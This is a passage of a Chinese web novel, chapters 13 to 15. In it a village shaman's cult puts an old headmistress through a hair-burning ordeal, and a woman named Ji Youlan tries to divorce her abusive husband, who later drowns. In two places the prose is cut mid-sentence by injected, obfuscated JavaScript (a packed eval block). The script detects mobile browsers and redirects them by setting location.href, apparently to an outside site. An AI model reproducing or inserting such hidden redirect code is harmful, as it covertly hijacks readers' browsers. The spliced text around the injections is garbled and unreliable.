“嘿嘿嘿嘿嘿……”小白菜咧开他豁了牙的嘴笑起来,“好,李洪,我也认可你的发誓是有效的了。那这位呢?你对他的誓言有什么要说的吗?” 李春生摇摇头,“我就不说了,我说什么都没有她有用。” 众人终于顺着李春生抬眼的方向见到了一个有些陌生的姑娘。他们的五官都有着同一套行为逻辑,在李洪的激情演说下,他们都是被小飞虫吸引的绿眼猫,现在看到突然出现的陌生身影,又都尖啸着回到了人的躯壳里。 而这一切进行得悄无声息,只在李洪的身上外化为疯狂的叫喊,他指着那个姑娘跌坐在地,浑身颤抖,“你……你……李小枝!” “小枝。”老校长双手掩面,站在我这个位置也能看见她眼眶里的泪花闪闪发光。 “你在这儿说我死了?”我们都记得小枝的声音,几年前她还是个坐在教室后排畏畏缩缩的小女孩,李春生用一颗陈皮糖扭转了她在学校的境遇。如今,她以一副崭新的面貌来扭转老校长的境遇。 “小畜生!”李洪坐在地上将手高高举起,“忘本的东西!你还有脸回来这里,你和你那个没脑子的娘就活该被骗出去死外面!” “你放心吧,我会死在外面,和你死不到一块儿去。”李小枝看了李春生一眼,向他短暂地致意,“但你今天的话,每一句都是为了泄私愤而胡说八道!我就跟你,跟万婆子,跟这里所有的人说清楚,你听好了。我在中学要毕业那会儿,你就惦记着要我打工去帮你还赌债,你的算盘打得好啊,我做几年的工就可以找人把我嫁出去,你拿上一笔彩礼还能去赌。要不是校长帮了我们一把,我早就在清溪河里投水淹死啦!” “我没有……” 李小枝不管他,“你对我和我妈就没有一点儿用,你没了钱只会找我们要,没有还要打人,我头上的这条疤,不就是你打出来的吗?”小枝撩起自己右侧耳上的头发,一条歪歪扭扭的疤痕隐藏其中。这是物证,它远比语言来得有效。 老校长沉默地上前来抱住了李小枝,弥合了两年来空间上的遥远距离,李小枝在老校长耳边轻轻地说:“校长,请您等我说完吧。” 李洪呆坐在地面上开始幻想自己是一块没有感官的石头,这样就可以对众人的议论置之不理。他从一个丧女的可怜虫转变为了窝囊的赌鬼,不过到此为止还不能驳倒他此前的证言。 李小枝继续说道:“这都是我们的家事,要是大家不信我也理解的。但你说校长对吉祥天师怀恨在心,你怎么不说你一直以来也恨着校长呢?我们校长的这条腿,当年就是被你带着人打断的,你有什么资格来审判她?我年纪小没有亲眼看到,但明月庄的老人们全都知道这件事!” “你!”李洪绷紧了浑身的肌肉,像个多年没有上油人偶般机械地看向周围的人群。 一只布满皱纹的手举了起来,“我知道,他从我家借的铁锹。” “我也知道,我哥就是跟着他去的。” “诶呀!诶呀!”李洪 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“汪!汪!汪!”李洪干枯的四肢刨起一层黄土,他张大嘴冲着人的小腿就要撕咬,现在人们扮上逃难者的模样往所有的方向散开,在他的牙齿即将碰到李春生的裤腿时,我揪住他的脖子将他按倒在地。 我无法忘记当时李春生俯视李洪的眼神,那是一双充满了哀伤的眼睛。 李洪的蜕化不仅表现在外形上,连他的骨骼和肌肉都一并完成了改变,我听见他的喉咙当中传出呜呜声,整个人完全像一条疯狗般怪叫挣扎着。如果不彻底控制住他,恐怕今天的审判也无法结束了。 我也不知道慧慧是什么时候取来的她的药箱,总之她一眨眼的功夫就出现在我耳朵边,“你挡着我了,把他脖子露一点给我。” 我托着李洪的下巴迫使他扬起脖颈,同时也防止他把嘴伸向慧慧的胳膊。 等到慧慧把一针镇静剂全都推入他的静脉,李洪在失去意识之前一偏头就啃住了我的虎口,使手掌上的刀伤变本加厉。我成了这次骚动中唯一受伤的人。 李春生对这里的流血并不关心,他早就在一旁安慰老校长和李小枝了。 “嘿嘿嘿嘿嘿嘿……”小白菜为自己的重新登场鼓掌庆贺,“李洪的誓言生效了,看来他的确说了假话嘿嘿嘿嘿……妈妈,我们怎么处理说假话的人呢?” 在李洪忽然的蜕变下,已经没有人再敢聚拢到他身边,直到他被扭曲着身子塞进一个铁笼子里,万金花才满头大汗地说道:“锁起来,锁起来!别让他跑出来害人!” “妈妈,你不处理他吗?”小白菜问。 我想万金花被这突发的事件吓坏了,她此刻没有顾及作为神婆子的庄重颜面就踹了小白菜一脚并骂道:“你个小棺材盖儿不说话像是会死!”而小白菜顺势盘腿端坐在地上,对着万金花露出了意味深长的笑脸。 “我当然会处理!”她又对着惊魂未定的众人宣布:“他是自作孽,引来了天罚,我们要怎么处理他,也得好好准备一场法事,问问吉祥天师的意见!”万金花在这一天的吵闹中显出疲态,她望向老校长和李小枝,“走吧,走啊!你们没事儿了!” 有人却不希望就这样结束,声音从万金花的脚边响起,“妈妈,这不对吧?李洪受到的天罚是因为他编造了李小枝的死讯,可没说关于老校长的部分也是假的呀。” 银铃儿站出来:“妈都说了结束了,你还想要怎么样!” “嘿嘿嘿嘿嘿嘿……姐姐,我的好姐姐,对于这种不确定的事情,当然是用我们明月庄千年来的传统试一试咯。既可以降妖除魔,又不会冤枉好人,你要是觉得老校长无辜,我这可是在帮她洗刷冤屈。” 小白菜口中的古老方法也不知道是从哪一本野史典籍上流传下来的——询问此人是否有罪之后去点燃他的头发,若是顺利燃起,那就代表了他的清白,若是无法点燃,那就说明他身上盘踞着不祥的祸端。 这方法年代久远,侮辱的意味远远大于验证的本意,即便大多数人的头发都会不可避免地被点燃,但在那漫长的“身体发肤受之父母”的年代里,我们见过太多因为在这样得来的“清白”名声之后仍然羞愧自杀的无辜者。 小白菜对老校长就抱有这样的心思,他现在不顾万金花难看的脸色继续在人群中央发出笑声。他指着此前去扮演采珠人的那队人马吼道:“你们还不快去准备!” 他们再次换上戏装,扮演一队神圣的执行者,将老校长与我们分隔开,可怜她枯瘦的四肢全然不具备与执行者们相抗衡的能力。 我听见人群又像鸟兽般吵闹起来,他们都急于成为验证结果的第一见证人,李小枝与银铃儿冲过去想从最外层拨开人群,金铃儿从另一边绕过来加入他们。李春生试图拉住她们的时候踉跄了一下,我看到他那双哀伤的眼睛现在落满了无奈。 很快,火光的温度爬上小白菜的脸,他和人们一起在蛋白质燃烧的臭味中露出欣慰的笑脸。 13. 新生 围绕李洪而起的纷乱没有烧到中学的方向,它暂时还维持了老校长梦想中净土的样子。曾保存在老校长办公桌抽屉里的信件已在昨日被无数双手撕毁,其中一半被李春生捡回,另一半就随着清溪河的流水潺潺而去了。 对于李洪的变化我的疑问并不比其他人少,我问李春生:“他起的誓是有效的?” “有。”李春生站在办公室的窗前,从这里望出去就是沙堆上坐着的金铃儿,银铃儿与李小枝,“他说的这么明确,当然有效了。” “那李小枝怎么没事?” 按照李洪当时的说法,现在李小枝也应当与他一起蹲坐在树枝上才对。李春生无奈地笑了笑,“难为他还记得自己的女儿叫李小枝。” “什么意思?” “小枝初三的时候,李洪觉得自己在赌桌上时运不济,时时刻刻都倒霉,他就在万金花那里请了一卦,万金花说,是李洪身边的人名字与他犯冲,阻碍了他顺风顺水。” 他讲到这里,这个与李洪犯冲的人很明显指的是李小枝,“哪里犯冲了?” “小枝,李洪,木克水。” 我为这想法评价了一个白眼,为了防止我说出更多个人感情色彩浓厚的词来,我往嘴里塞了一支烟,打火机却怎么也找不到了,我只好叼着烟继续说:“所以,他给李小枝改了名?” “更名改运,在万金花那里收费又不高,还没有其他损失,他当然愿意了。”李春生“啪”地打着了火点起我嘴里的香烟,“但是明月庄早就没有一个叫李小枝的人了,她的名字在明月庄现有的记录里,都是李秋。” 李秋,我在心里默念了几遍,觉得还是不如李小枝好听。在我诞生以来的见闻里,更名转运这种事都是一厢情愿,是上位者对下位者最浅显的支配,也是个人对掌握命运这件事竹篮打水般的尝试。 “我的打火机怎么在你这儿?”我问道。 “你自己放在这儿的,你忘了。” 我并不是忘了,而是对一只打火机的去向并不在乎,归根结底它在物质和情感上都没有什么特殊的价值。我活了太久,久到这世上已经几乎没有东西能称得上特殊了。悠久的时间把物与物之间的差异性都抹平,这也成为我无法真正理解李春生的原因。 “你后悔吗?”我问。 他站在窗边透过窗棂看着远处围坐在一起的女孩们,她们的影子被拉得又细又长,像一根缓慢行走的分针。 “你指的是什么?”李春生问道。 “如果你早就知晓明月庄会发展成如今的样子,你还会去点醒李哲吗?” “会啊。”李春生毫不犹豫。 “为什么?” “这是我的责任。我就是为此而诞生的。” “连主动赴死也是责任的一部分吗?” 他笑了笑,像我对待打火机一样将他自己抛诸脑后,“我的存在已经成了明月庄的疾病,那死亡就是我的义务。” “你的责任对你不公平。”我说。 李春生停顿了很久才说,“你怎么连表达不满的时候,都没有情绪起伏呢?是我感受不到,还是真的没有?我记得你明明是会生气的。” 我有在吐露情绪吗?我不知道。不公平是我基于李春生的经历做出的判断,就像我已经无数次站在死者的面前,听他们哭诉自己生前的不易和委屈,我从不对他们抱有多余的同情或愤怒,因为不论是谁,不久之后都会穿过属于他们的门扉去往来生,与今世的所有恩怨全部断绝。情绪只会让我的工作变得冗长而繁琐,所以我不附和,也不反驳,只是判断,对他们的人生进行定性,以确定下一世的祸福。 可我不想给他一个不确定的回答,“你这不是感受到了不满吗?” 李春生没有拆穿我的自欺欺人,而是认真地解释道:“每个人身上都有他的不公平。小枝,老校长,金铃儿,银铃儿,包括你,你能说你们都过着绝对公正的生活吗?这是不存在的。”他转过来看着我,“回到你一开始的问题,无论你问多少次,我的回答都不会变,并且我会尝试各种方法来避免重蹈覆辙。你与死亡打交道的这么多年也应该知道,人人都会来到死地之门面前,难道他们就不活了吗?不是的呀。不是的,李月来,他们更要活得好才对。而我会尽我所能,帮助他们活得更好。” 这之后我不由自主地开始回忆我作为人的短暂时光,再一次的判断结果是那时候我活得也不好,当然在那个年代我没有选择的权利。遗憾的是在日后成为燃灯星君的漫长时间里,我竟也没有一秒钟够得上“活着”二字。 “你教得很好,春生老师。”我说,手上的烟已经燃到了尽头。 他看了一眼墙上的挂钟,“差不多了,我们该上去看看老校长。” 中学的楼梯已经在数十年的磨损中显出破败的模样,浅绿色的墙皮也正在开裂,把油漆底下凹凸不平的水泥层更直白地袒露出来,向我们揭示他算不上光鲜但绝对沉重的底色。 那日人群当中的焦臭味早已消失,我和李春生站在门口看到老校长穿着她那件洗得发白的蓝布衬衫,老花眼镜搁在办公桌上,慧慧同她一起坐在窗边。洗刷罪名的代价是她的头发变得像冬天焚烧过的秸秆地,她靠在椅子里用报纸折豆腐块,与我们打了一个若无其事的招呼。 “没伤着,就是头发不好了。”慧慧补充道,她收拾东西的力气像是把那些起哄的人脑袋捏在手里砸,“都是没救的玩意儿。” “小慧,春生,月来,你们过来听我说。”老校长把我们召集到一起,说实话我没想到我的名字会紧接在李春生后面,她将我和他们两个平等看待这件事让我在之后的谈话里坐立难安。即便如此,我也清楚地记得那天老校长向我们宣布中学的一切都不会发生改变,她在下个学期仍将继续担任校长,仍将继续资助与李小枝一样离开了明月庄的学生。 “只要有一个学生,咱们就是一个学校。”她挨个拉着我们的手说:“校医,老师,大厨,还有我校长,不就齐了吗?” 她像一个中学生一样开朗地笑起来,让我第一次发现自己的身份有所用处。我所说的用处与我过去作为祭品和作为燃灯星君的用处不同,厨子这个身份伴随的油烟和柴火气味剥离了我身上萦绕的死气,转化为与食欲紧密相连着的生命力,这时我才敢往前一步与他们站在一起。 老校长从抽屉里拿出一把推子,“帮我剃了吧。” “剃了?” “都剃了,他们烧掉的是旧头发,我不要了,这之后,我的一切都是新的。” 她斑驳的头发在推子的嗡嗡声中成片凋落,露出她生着褐色斑块的头皮,我想她也是另一种意义上的陈旧水泥墙了,剥下漆皮,显出自身光荣的坑洼。 老校长以她的全新形象回到明月庄的阳光下时,表现出一个孩童般的忐忑。阳光照射在头皮上的温度令她觉得回到了稚嫩的婴儿时期,李小枝最先发现了她,“校长。” “校长,你的头发?”金铃儿面露担忧的神色,这个孩子总是习惯了担心他人。 老校长摸摸自己光溜溜的脑袋,“我剃啦!” “女人也能剃光头吗?”银铃儿问。 “怎么不能?没有那条法律禁止女人剃头发的,这是我们合法的自由。” 金铃儿眨了眨她乌黑的眼珠,“他们说女人剃头发,全家都要倒霉。” “放屁!”她的妹妹转过头来骂了一句,“那都是骗人的把戏。他们要女人留长头发,好方便他们抓着打人,还要说女人头发长见识短,这是诬告,是贼喊捉贼。” “可是校长,你这样会遭他们嚼舌头的。”金铃儿担忧的来源全在于此,“要不然我和你一起剃,他们忌惮我妈就不会说你了。” 银铃儿强烈反对这个天真的计划,“不!他们有一百种借口。姐你梳辫子好看,我喜欢看你梳辫子,你剃什么?” 李小枝也说:“是嘞,小金铃,校长才不是为了这个呢。咱们明白她的用心,不必表现在外形上,要放到心里去。” “就是,我们有长辫子,也不会让人抓在手里,我们要把长辫子当成抽他们的鞭子,把他们打得落花流水!” 她们的笑声穿过窗户在廊间徘徊,中学在今天师生四人相拥而笑的下午开始了全新的生命征程。我也幻想着类似脱胎换骨的一瞬可以降临到我身上,使我向着“人”的道路多迈出一步,可惜一切事与愿违,这一刻并未叩响门扉。 晚些时候我和慧慧送回李小枝之后走在山羊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如此我便更加感到自己游离在整个庄子之外,对李春生来说毫无助益了。我不想这样,我总该帮他一把。 “李月来,你一直都这样对什么事都不在乎吗?” “好像不是,以前还是有的。”但我自己也说不上来到底在乎过什么,这种情绪已经在悠远的时间里淡化为一阵薄雾,风一吹就消散了。 慧慧看向清溪河漫长的尽头,“这样也好,李月来。” “好什么?” “你比李春生更适合他的位置。” “少来。”我觉得慧慧又在开玩笑,可她却认真地解释道:“天地不仁,以万物为刍狗。李春生的痛苦,源于他太在乎,职责使他在乎所有人,但事实告诉他做不到拯救所有人,有心无力。你不一样,李月来,在你眼里所有事物最终都会走向一样的结局,一视同仁使你避免了吉祥天师的矛盾。你不在乎,所以公平,不受人世情感的侵蚀,一个超然的神,就应该是不在乎的,所以我说你更适合,就像世间万物,唯死永恒。” 我却并不想要这永恒,它太过遥远了,我只想知道当下,我能帮李春生做些什么?以李月来的身份。 慧慧很快就从刚才的话题当中脱离出来,拿胳膊肘捅了我一下,“饿了,炒两个菜吃。” “吃什么?” “鱼。” “我最讨厌做鱼。”鱼这种生物在抵达餐桌成为佳肴之前,留给厨师的只有一片狼藉,至少对我来说是这样,不仅是滑腻的手感和满身的鳞片,鱼腹里内脏和鱼鳔的气味,还有它们在砧板上艰难呼吸时鱼鳃的起伏,都透过塑料感极强的眼睛让我感到不自在。 “是吗?可你做鱼比做其他菜好吃。” “鱼难吃不到哪儿去。” 我们关于鱼的讨论令我想到在拜访李小枝时注意到的一些东西,也许就能改变我当前尴尬的位置。我暂时对慧慧保留了自己的想法,使我们的话题继续停留在鱼的身上。 我们回到住处,慧慧去柜子里取来一坛老酒,一个女孩的声音却在门边响起来:“慧慧姐,月来师傅!” 我的名字再次出乎意料地被紧接在慧慧后面,循着声音看过去,是李小潭抱着腿蹲在我的门边。 “小潭?”慧慧把她从地上拉起来,“什么事?李春生呢?你怎么在这儿蹲着,衣服都脏了。” “我没找着春生老师,我以为他会在这里。没等到他,等到了你们。” “慧慧姐,月来师傅,帮帮我妈妈吧。”李小潭再次说道。 14. 谶言 季有兰站在山羊坡上看着家里的三头山羊咀嚼青草,好像也咀嚼了自己的前半生,区别在于青草对于山羊是多汁可口的一餐,她的前半生却像干木柴一样索然无味,还面临着遭人焚烧的结局。她看着最老的那只山羊翘起尾巴拉出羊屎蛋,忽然就很想用树枝抽打他干瘪的屁股,但她忍住了对无辜动物发泄怒气的冲动,转而捡起脚边的石头奋力往远处丢。季有兰希望这石头能滚得远些,越远越好,把她过去三十六年的人生全都碾碎推远。 “我来得晚了。” 老季裹着一身油乎乎的旧棉袄站在低处望着季有兰,他的脸上挂满憔悴与不安,他为自己刚才躲在干草垛后面的行为道歉:“我不是真的要躲着你。” “你是害怕,你是胆小。”季有兰站在坡上对老季的行为做出了定义。 低处的男人并不反驳,在他的亲生母亲鼓胀着胸腔死去的那天他就平静地接受了自己的懦弱。老季站在突出地表的一块石头表面,再次体会到了与当年相似的无力感。 当老季裹着旧棉袄走在前往季有兰家的路上时,季有兰从床头柜空空荡荡的底层发现了存折不翼而飞,而钥匙就攥在李池的手上,于是她质问丈夫:“存折呢?” 李池正在衣柜前整理自己的衣领,“我拿去用用。” “你用来做什么了?” “我派用场。” “那是给小潭存着交学费的钱!”季有兰将怀里抱着的衣服不痛不痒地砸向李池,男人却像被戳中致命处一样嚎叫起来,“你的钱有什么用!我拿去的才有用!她的学费只花出去,不见收回来,我的钱孝敬给高天神明,能保我们过好日子!” “你拿给万婆子了?” 李池朝她瞥了瞥嘴,“这都是必要的。” 季有兰也想像李池那样嚎叫出声,但她心里知道那样徒劳无功,也不会对既定的结果产生任何影响,她只是咒骂道:“你疯了。” “我是疯子,你就是疯子的女人,以后我们一家四个全是大小疯子!” “哪儿来四个?肚子里没有呢。”季有兰平淡地说出了让李池无比震惊的事实,他顷刻就像一个真正的疯子一样瞪圆了眼睛,抓着季有兰的胳膊吼道:“你说什么?” “我说我没怀,弄错了!” “可是你想吐!” 季有兰抄起手边的竹篾往李池的脸上扇,黄豆洒了一地,“我吃多了!弄错了!没怀上!” “你耍我!”李池朝季有兰的右脸甩下的一巴掌让季有兰一个踉跄摔倒在地,她的门牙就是这时候在桌腿上嗑掉了一块,掉在她的手背上。 这声动静也吓到了正走到门口的老季,屋子里传来的争吵声止住了他的脚步,他躲在几步远的干草垛后面,将自己的身体像一颗黄豆一样完全藏进了阴影里。 李池仍在里头发疯,他围着饭桌转来转去,“好!你耍我!你能耍我了!”然而他最终没有在极简的家里发现称手的物件,最终抓起了一个白瓷碗在季有兰的脚边砸碎来宣泄自己的愤怒。他冲出家门的时候喉咙里发出狺狺吠声,宛如一只哮喘发作的老狗,却仍然要冲着屋里的女人喊道:“把羊拉出去吃草!” 老季在三头山羊发出的咩咩声中短暂地成为了懦夫,他沿着另一条路与李池互相岔开,回到东天师庙里的时候他的头上还插着几根干草,立在他稀薄的头发里直指天空。他怀里揣着的两瓶牛奶已经被体温捂热,老季这一趟本只是寻常的探望,就像他过去一直在做的一样,他无意听到的东西让他不得不思考更多。 可是他老季算得上是整个明月庄里最穷的穷光蛋,除了庙里的几只老母鸡以外他就只剩下自己,他的生活费都是庄子里的好心人施舍来的。他将两瓶牛奶放在门边,自己背着手在庙里转圈,他耳鸣的毛病又开始发作,满世界都是嘈杂的声响。 而在这些声响当中老季却真切地听见了金属的咔哒声,他循着声音找过去,最终在吉祥天师神像面前的功德箱处确定了声音的来源——挂在箱子上的锁正赫然开着。老季确信钥匙就在自己的口袋里,而他今天从没碰过这把锁,难不成还是老鼠叼走了钥匙来开了锁不成? 可是在箱子被打开的事实面前,老季的心中顿时生出了一个想法,起先他为这个想法感到大不敬,身子一软就跪倒在蒲团上仰望着那尊慈眉善目的神像。他想要祈求,竟发现自己开不了口,他的两片嘴唇和身体一起颤抖着,老季在这样的境地中完全理解了季有兰此前在蒲团上的沉默——那必定是一个十恶不赦的念头。 老季把心一横,对着吉祥天师像重重地一磕头,就将自己危险的念头付诸行动。 功德箱里亮闪闪的硬币稀里哗啦地掉到地上,老季拨开它们,将自己的整个上半身都伏在钱堆里摸索面额更大的纸币。老季做得心惊胆战,他对所有的突发情况都束手无策,但那段时间居然顺利地没有遇到一个前来参拜的人。 这位可耻的淘金者在充满铜臭味的沙粒中觅得了足够的金子,将他们整齐摞成一沓用一块油布包好,老季感到自己的心脏振幅已经完全超过了正常的频率,几乎就要跳出胸腔飞上天空,他的额头满是汗珠,像一头老黄牛一样喘着粗气,世界天旋地转他花了好一会儿才稳住自己。 回过头去那功德箱上的小锁已经完全的扣上了。 老季用他的旧棉袄藏好了自己罪恶,在山羊坡的脚下找到了释放它的机会。 面对季有兰的质疑,老季将身上的旧棉袄裹得更紧了,他像仰望庙里神像一样仰望着季有兰并向她的方向慢慢靠近,他在季有兰的身边掏出那个小小的油布包裹,“拿着,拿着。” “我拿了钱,我算什么?”季有兰问道。 老季并不能听懂这句话背后的含义,季有兰不想再要这样的给予,她在老季的行为中怀疑自己的价值。 “他就是用一包钱从我爹那里买走了我。”季有兰说道,“我不要。” 老季还是笨拙地伸着手,“我给小潭。” 其中一只山羊叫了一声,季有兰雕塑般站着,她放开了手里牵着羊的草绳,放弃了三头山羊主人的身份,她看着那三只获得自由的山羊咩咩叫着,沿着山羊坡的草地散开各自走远,“我要是这羊就好了。” “还是得做人。” “老季,我听他们说东边的人家会坐船出海,你看过海吗?”季有兰问。 “我没有。”老季垂着手,将自己站成一株枯树,“他们说海上风浪很大。” “风大可以扬帆,浪大咱们就坐船。” 老季再次抱以沉默,这回他听懂了,但他不敢。季有兰没有追问,她已经了解了老季的全部胆量,轻轻地撂下一句“你们明月庄的男人都一个样。”就与老季头也不回地擦身而过,也决心与明月庄的生活告别。 季有兰这样的女人要做出出走的决定,几乎就是要她颠覆以往的世界观,她的勇气来源于李小潭的支持。这时候季有兰还很体面地想给自己的前半生画上一个和平的句点,她去村口的承包户那里挑了一条鲜活的鲫鱼,在院里的井台上刮鳞破肚,手往鱼肚子里掏了两下就把苦胆鱼鳔全都掏了干净,季有兰是明月庄里处理动物食材手脚最利落的人,这源自她信佛又唠叨的母亲,她虽然不会在任何一道肉菜上落下筷子,却十分关心这些动物被处理成食材的过程,始终要求季有兰给予它们最短暂的痛苦。 她用一块老豆腐和鲫鱼一起炖了一锅奶白的汤,李池准时地在饭点摇摇晃晃地回来也完全在她的预料之中,哪怕天塌下来他也不会错过一顿家里的饭,然而他瞟了一眼锅里咕嘟咕嘟的鱼汤道:“又去买鱼,不如自己钓的。” 季有兰已经不想再对李池做出任何回应,她的心已经在这个下午彻底死了,她挽好了头发洗干净手,在餐桌上对李池宣告:“我们离婚吧。” 男人往嘴里塞进一口鱼肉,含糊不清地回答:“毛病。你白天喂羊了吗?” “我说我们离婚吧,小潭和我走,你再找别人去。别的我啥也不要。” 鸟雀声落进他们之间的沉默,李小潭捧着碗等待着李池的反应,而被她称为父亲的这个男人指着房间的木门对她说:“你回去!” “不回去,我又不是傻子!” “死丫头!”李池扬起手来又要打她,被季有兰一把顶了回去,这个女人现在正焕发着前所未有的活力,“你要是答应了!我今晚收拾东西。”季有兰的声音平静温和而不容置疑。 “你脑子有问题了。”李池说,“你的脑子里也被人种下了恶疮,你受了蛊惑,你中了邪,才会说出这种怪话来!” “我不是在说怪话,我认真的,咱们离了吧,你找别人去。” 李池把盛汤的瓷碗在桌上狠狠一砸,“你是真的有问题了!他们都说你和老季天天见面,他还给你炖了鸡汤!” “谁说的?茶室的那些人?” “你别管是谁!你自己做的事自己清楚!是我宽宏大量不与你计较,但是你今天说的话证明你已经被迷住了心窍,我得找人来给你治治病了!” “我没有病。”季有兰的话像云一样轻飘飘地,李池全然没有抬眼看一下,他拽着季有兰的胳膊就往外拖 ,“你跟我去见万婆子!我要给你驱驱邪!” “你要这样!我就大叫!让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063022|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全庄子都听见吧!”季有兰已经不在乎明月庄是否知道她想要离婚的事,她只是清楚自己的丈夫心中他自己的脸面才是第一位的,果然李池触电似的弹开了手,他冲入夜色之后跺脚大吼:“你把我的羊都弄到哪里去了!” 季有兰在李池的身影消失以后就浑身卸了力跌坐在地上,她就像一只温顺的羊羔那样期盼着自己能在太阳升起时离开这个地方。她做不到不告而别,也不敢动手除掉自己的丈夫,这两个选择都会让小潭陷入困境,一辈子都成为明月庄人的谈资。 “小潭。”季有兰喊她的名字,“你要是不乐意……” “我跟着你,妈妈。”李小潭的眼睛又大又亮,“我跟着你。” 李池很快搬来了他引以为傲的靠山——小白菜乘在万金花的臂弯里展现着微笑,万金花的脸上满是疲惫,这两大一小一踏进门槛就指着季有兰的包裹道:诶呀,诶呀!你这是做什么? 他们合上了老旧的木门,小白菜居高临下地说:“俗话说一日夫妻百日恩,怎么李池说你要离婚呢?” “我们早没恩了。”季有兰坐在一堆旧衣裳当中做好了回答一切的准备,“他想要儿子,我生不出来,我们离了,他找别人去吧。” “你分明是不想和我生!”李池跳脚,“你和老季在一块儿的时间比和我还长呢!你就是个谎话连篇的贱货!你一定是中了邪才把脑子弄出毛病来了!” “你才是呢!”李小潭还想说什么时就被季有兰按住了嘴。 “你怎么证明她中了邪?”万金花问。她已经对李池这个无能的小人不耐烦到了极点,即便他可以成为自己的狗腿子,万金花也觉得会侮辱了自己的形象。要她来断这家务事又捞不着什么切实的好处,所以糊弄是她现在的行事准则。 然而坐在臂弯的小白菜却有不同的想法,他搂着母亲的脖子发出湿热的呢喃:“一个女人有了婚外情,必定是吃了龙虱。” “什么是龙虱?”李池问。 “嘿嘿嘿……妈妈,他连龙虱是什么都不知道,你应该教教他。” 不知怎的,万金花的喉头泛起一阵恶心。她感到这个孩子正像一个恶魔缠绕在她的肩头。 “龙虱嘛,就是龙虱!” “你在敷衍,妈妈。”小白菜的长指甲抠着万金花的皮肉,“李池,你知不知道龙虱□□的时候会紧紧抱在一起?所有已婚的女人吃了它,就会和别的男人抱在一起嘿嘿嘿……” “你们说的龙虱我没见着,专吸人血的虱子我面前倒是站着三个!”李小潭指着李池的鼻子大骂,下一秒就被李池扇了一耳光,她捂着脸盯着李池充血的眼睛,倒像是要把他盯个洞穿。父女的情谊早就在过去十几年的时间里磨灭殆尽,李小潭早就在日复一日的羊叫声中明白自己的父亲是个软弱无能只会窝里横的软骨头,她成了季有兰的另一条舌头和另一个人格,在这天夜里对李池诅咒道:“你不得好死!” 小白菜的声音在这时候响起:“李池,她是不是吃了龙虱中了邪,验一验不就知道了吗嘿嘿嘿……” 满头大汗的男人问:“验一验,对啊,验一验。可是怎么验呢?”他缓缓蹲下思考这个问题,旋即又站起来:“我知道了!” 这四个字都尚未说完李池就走上前扼住了季有兰的脖子,并抬起腿甩开李小潭。 季有兰在一股难以挣脱的力量当中感到了呼吸困难,她觉得自己就是一只即将被宰杀的母鸡,徒劳地扑棱着翅膀,而刽子手肥大的五指伸进她的口腔,按压她的舌根,男人的手掌间是烟草和柴油的难闻味道,季有兰感到自己的胃随着手指的按压而抽搐,她忽然庆幸自己今天基本没吃什么东西,李池这个行为的结果只得到了落在鞋面上的几口酸水。 “你这个王八蛋!” 这是季有兰生平第一次对李池出手,她的指甲在李池的脸上留下红色的痕迹,标志着二人的分歧已经是无法弥合的沟壑,她也明白了自己与李池之间没有了和平离婚的可能,“李池!我是中邪了!但不是现在!我中了邪才会答应嫁给你呢!我忍了你十几年,我不想再忍了!” 然而李池还在关心龙虱检验的结果,“没有吐出来,那就说明她吃下去太久了早就消化光了!” 季有兰朝他吼道:“你知道我每天去庙里求的是什么吗?以前我不敢说,现在我告诉你李池,我想要你死!你听明白了吗?我想要你死。” 天空炸响了一个雷,李池的眼球突出瞪着季有兰,随后他发出啊啊啊啊怪物般的吼叫闯入了夜晚的倾盆大雨。 等到第二天他再回到明月庄的视野中时,就是一具肿胀尸体的模样了。 15. 替罪之羊 李池茫然地坐在清溪河历史悠久的堤岸边,任由老天爷提着茶壶来浇透他这只有进无出的蟾蜍。与我接触的大多数人一样,他对自己当前的处境毫不知情。 我向着李池走去,他的脚边就开始升起雾气,这与前些日子见到的不同,李池眼瞧着雾气遮盖了他的双眼和额头。很快,他就完全看不见清溪河了。视线的模糊使其他的感官变得更加灵敏,让他能从夜晚的浓雾中捕捉到似有若无的铃声。 “谁啊,大半夜的。”他嘟囔了一句,并不关心这铃声从何而来,而是更多地谴责它不合时宜。李池怎么看待这铃声对我来说都无所谓,我知道他即将察觉到这缥缈而富有规律的铃声越来越近,越来越清晰,直到就在他的耳边荡开层层涟漪。 “诶呀是哪个造孽鬼!”李池终于捂着耳朵朝这边看了过来,他的警惕性真是与大脑一样迟钝。 浓雾在李池的眼前褪开形成一个仅容纳了我们两个人的空间,四周与头顶仍然像是笼罩着朦胧的雨幕。他虽然是坐在地上仰望我,却仍然将我从头到脚打量了一遍,在脑内琢磨了一番我可能的身份之后才指着我的脸道:“装神弄鬼!还敢来吓我!”他从自己争取来的显赫身份中汲取了莫大的勇气,可惜他站直了身子也比我矮上一个脑袋,这事实多少打击了他的底气,开口时明显有些力不从心,“你……你这小子知道我是谁吗?!” “李池。” “看来你没瞎眼!我是那通灵仙童门下的首席信徒!你要是得罪我,就是得罪仙童,就是得罪吉祥天师!” 其实我叫出他的名字并不是真的在回答他,而是要确认他的身份,这也是我职责的一部分,“所以你承认你是李池?” “这还能有假?!” “嗯。”这一环节意外地顺利,铃铛声也就戛然而止,我将其翻转过来就成了一盏悬浮的灯,我们要去的地方有很长的路要走,这灯是方便他跟上来的。李池盯着灯上的火光,竟凑上前来想要触摸,“你这小玩意儿……” “别碰。”我喝止他,并说:“跟上。” “我凭什么跟着你啊?!” 看来他对眼下的情况仍然缺乏认知,好在今夜才刚刚开始,我有很长的时间来让他理解这一切。 “你,没觉得自己身上又湿又冷吗?” 李池的表情就像是见了鬼,我不像慧慧那样能说会道,没想到什么合适的比喻。他的动作随着目光一顿一动,两只粗圆的手总算在自己身上摸到了冰冷、流动着的河水,淋淋漓漓落到他的脚上。他被河上飘来的风冻得哆嗦,便摸到自己的脸也覆满了水珠。 “你在我身上施了什么咒!” 